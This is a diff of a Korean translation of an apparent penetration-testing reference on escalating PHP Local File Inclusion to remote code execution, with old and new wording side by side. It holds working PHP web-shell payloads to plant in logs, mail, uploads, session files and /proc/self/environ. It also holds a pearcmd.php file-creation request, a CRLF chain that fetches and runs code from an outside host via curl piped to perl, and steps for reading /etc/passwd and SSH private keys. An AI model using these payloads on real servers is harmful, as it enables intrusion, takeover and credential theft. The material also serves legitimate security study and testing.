Apache 또는 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도하고, **user agent**나 **GET parameter** 안에 **`<?php system($_GET['c']); ?>`** 같은 php shell을 넣은 뒤 해당 파일을 include 해볼 수 있습니다.
|
||||
Apache나 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**에 접근을 시도해 **user agent** 또는 **GET parameter**에 **`<?php system($_GET['c']); ?>`** 같은 PHP shell을 기록한 뒤 그 파일을 include할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 쉘에 대해 **double quotes**를 사용하고 **simple quotes**를 사용하지 않으면, double quotes가 문자열 "_**quote;**_"로 변경되어 **PHP가 오류를 발생**시키며 **다른 것은 실행되지 않습니다**.
|
||||
> 쉘에 대해 **double quotes**를 사용하고 **simple quotes** 대신 사용할 경우, 큰따옴표는 문자열 "_**quote;**_"로 변환되어 **PHP가 오류를 발생시키고**, **다른 어떤 것도 실행되지 않습니다**.
|
||||
>
|
||||
> 또한, 페이로드(payload)를 정확히 작성해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 발생시키며 두 번째 기회는 없을 것입니다.
|
||||
> 또한, **payload를 정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 일으키고 두 번째 기회가 주어지지 않습니다.
|
||||
|
||||
이 방법은 다른 로그에서도 가능하지만 **주의하세요,** 로그 안의 코드는 URL encoded될 수 있어 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내부에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
|
||||
다른 로그에서도 동일한 방법을 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 파괴될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입할 수 있습니다.\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -498,44 +498,44 @@ Other possible log paths:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### 이메일로
|
||||
### 이메일을 통해
|
||||
|
||||
**메일을 보내세요** 내부 계정(user@localhost)으로, `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 뒤, 사용자 메일을 include 하려고 다음 경로들 중 하나를 시도해보세요: **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**
|
||||
**메일을 보내기**: 내부 계정 (user@localhost)으로 `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 include 해보세요.
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
### /proc/\*/fd/\*을 통해
|
||||
|
||||
1. 많은 shells(예: 100)를 업로드하세요.
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID입니다 (can be brute forced)이고 $FD는 파일 디스크립터입니다 (can be brute forced too).
|
||||
1. 많은 shells를 업로드하세요 (예: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다.
|
||||
|
||||
### Via /proc/self/environ
|
||||
### /proc/self/environ을 통해
|
||||
|
||||
로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
|
||||
로그 파일과 마찬가지로, User-Agent에 payload를 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### 업로드를 통해
|
||||
### upload를 통해
|
||||
|
||||
파일을 업로드할 수 있다면, 단순히 shell payload를 파일에 주입하세요 (예: `<?php system($_GET['c']); ?>`).
|
||||
파일을 upload할 수 있다면, 그냥 그 안에 shell payload를 inject하세요 (예: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
|
||||
|
||||
### ZIP 파일 업로드
|
||||
### Zip 파일 업로드를 통해
|
||||
|
||||
PHP shell이 포함된 ZIP 파일을 업로드한 뒤 접근:
|
||||
PHP shell을 포함한 압축된 ZIP 파일을 업로드하고 접근:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### PHP sessions를 통해
|
||||
### PHP sessions을 통해
|
||||
|
||||
웹사이트가 PHP Session (PHPSESSID)을 사용하고 있는지 확인하세요.
|
||||
웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다
|
||||
PHP에서는 이 세션들이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다.
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -544,87 +544,87 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFI를 사용하여 PHP session 파일을 포함하세요
|
||||
LFI를 사용하여 PHP 세션 파일 포함하기
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### ssh를 통해
|
||||
### ssh를 통한
|
||||
|
||||
ssh가 활성화되어 있다면 어떤 사용자가 사용 중인지 (/proc/self/status & /etc/passwd)를 확인하고 **\<HOME>/.ssh/id_rsa**에 접근을 시도하세요
|
||||
ssh가 활성화되어 있다면 /proc/self/status & /etc/passwd 를 확인해 어떤 사용자가 사용되는지 파악하고 **\<HOME>/.ssh/id_rsa**에 접근을 시도해 보세요.
|
||||
|
||||
### **를 통한** **vsftpd** _**로그**_
|
||||
### **vsftpd** _**logs**_를 통한
|
||||
|
||||
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
|
||||
|
||||
1. 로그인 과정에서 username 필드에 PHP payload를 주입합니다.
|
||||
2. 주입 후, LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 가져옵니다.
|
||||
1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
|
||||
2. 주입 후, LFI를 이용해 서버 로그 _**/var/log/vsftpd.log**_를 조회합니다.
|
||||
|
||||
### php base64 filter (base64 사용 시)
|
||||
### php base64 filter (using base64)를 통한
|
||||
|
||||
위 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article에서 보듯, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 base64가 ".php"로 끝나도록 제공하면, filter는 "."를 무시하고 "php"를 base64에 덧붙입니다. 예시 payload는 다음과 같습니다:
|
||||
[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 문서에서 설명한 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면 필터는 "."을 무시하고 "php"를 base64에 덧붙입니다. 예시 페이로드는 다음과 같습니다:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### php filters를 통한 방법 (파일 불필요)
|
||||
### Via php filters (no file needed)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 즉, include에 사용할 **임의의 php 코드를 생성할 수 있으며** **파일로 작성할 필요 없이** 가능합니다.
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters to generate arbitrary content**을 출력으로 사용할 수 있음을 설명합니다. 즉 include에 사용할 **generate arbitrary php code**를 파일에 **without needing to write** 하지 않고 생성할 수 있다는 뜻입니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### segmentation fault를 통한 방법
|
||||
### Via segmentation fault
|
||||
|
||||
파일을 업로드하면 `/tmp`에 임시로 저장됩니다. 같은 요청에서 segmentation fault를 발생시키면 임시 파일이 삭제되지 않고 해당 파일을 검색할 수 있습니다.
|
||||
**Upload**한 파일이 `/tmp`에 **temporary**로 저장된 다음, 같은 **request**에서 **segmentation fault**를 유발하면 해당 **temporary file won't be deleted** 상태가 되어 파일을 찾을 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Nginx 임시 파일 저장을 통한 방법
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Local File Inclusion을 발견했고 Nginx가 PHP 앞단에서 동작 중이라면, 다음 기법으로 RCE를 얻을 수 있습니다:
|
||||
만약 **Local File Inclusion**을 찾았고 **Nginx**가 PHP 앞에서 동작하고 있다면 다음 기법으로 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
세션이 없고 `session.auto_start`가 `Off`인 경우에도 Local File Inclusion을 발견했다면, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
세션이 없고 `session.auto_start`가 `Off`인 경우에도 **Local File Inclusion**을 찾았다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 자동으로 **enable the session for you** 합니다. 이를 악용해 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Windows에서 임시 파일 업로드를 통한 방법
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Local File Inclusion을 발견했고 서버가 Windows에서 동작 중이라면 RCE를 얻을 수 있습니다:
|
||||
**Local File Inclusion**을 찾았고 서버가 **Windows**에서 동작한다면 temp file upload 관련으로 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### `pearcmd.php` + URL args를 통한 방법
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker 이미지에 기본으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 값을 인수로 사용하도록 되어 있어 URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)와 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker images에서 기본으로 존재합니다. 또한 URL을 통해 스크립트에 인수를 전달할 수 있는데, URL 파라미터에 `=`가 없으면 그 값이 인수로 처리된다고 되어 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 및 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
|
||||
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
다음은 CRLF vuln을 악용하여 RCE를 얻는 사례입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
다음은 CRLF vuln을 악용하여 RCE를 얻는 예시입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### phpinfo()를 통해 (file_uploads = on)
|
||||
### phpinfo() (file_uploads = on)을 통해
|
||||
|
||||
만약 **Local File Inclusion**을 발견했고 phpinfo()가 노출되어 있으며 file_uploads = on이라면 RCE를 얻을 수 있습니다:
|
||||
만약 **Local File Inclusion**을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -633,7 +633,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해
|
||||
|
||||
만약 **Local File Inclusion**을 발견했고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 **PHP marks**가 있는지 **checking**하고 있다면, 이 **Race Condition**으로 그 검증을 **bypass**해볼 수 있습니다:
|
||||
만약 **Local File Inclusion**을 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 PHP 마크가 있는지 **검사**한다면, 이 **Race Condition**으로 그 검사를 **우회**해볼 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -642,7 +642,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### eternal waiting + bruteforce를 통해
|
||||
|
||||
만약 LFI를 악용해 **임시 파일을 upload**할 수 있고 서버의 PHP 실행을 **hang**시키게 만들 수 있다면, 수시간에 걸쳐 파일명을 **brute force**하여 임시 파일을 찾을 수 있습니다:
|
||||
만약 LFI를 악용해 **임시 파일을 업로드**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 **brute force로 파일명**을 시도해 임시 파일을 찾을 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -651,13 +651,14 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### Fatal Error로
|
||||
|
||||
다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (그 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
|
||||
다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (해당 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
|
||||
|
||||
**이게 어떻게 유용한지는 모르겠지만 가능성은 있어 보입니다.**\
|
||||
_설령 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일들은 삭제됩니다._
|
||||
**이게 어떻게 유용한지는 모르겠지만 가능성은 있습니다.**\
|
||||
_심지어 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user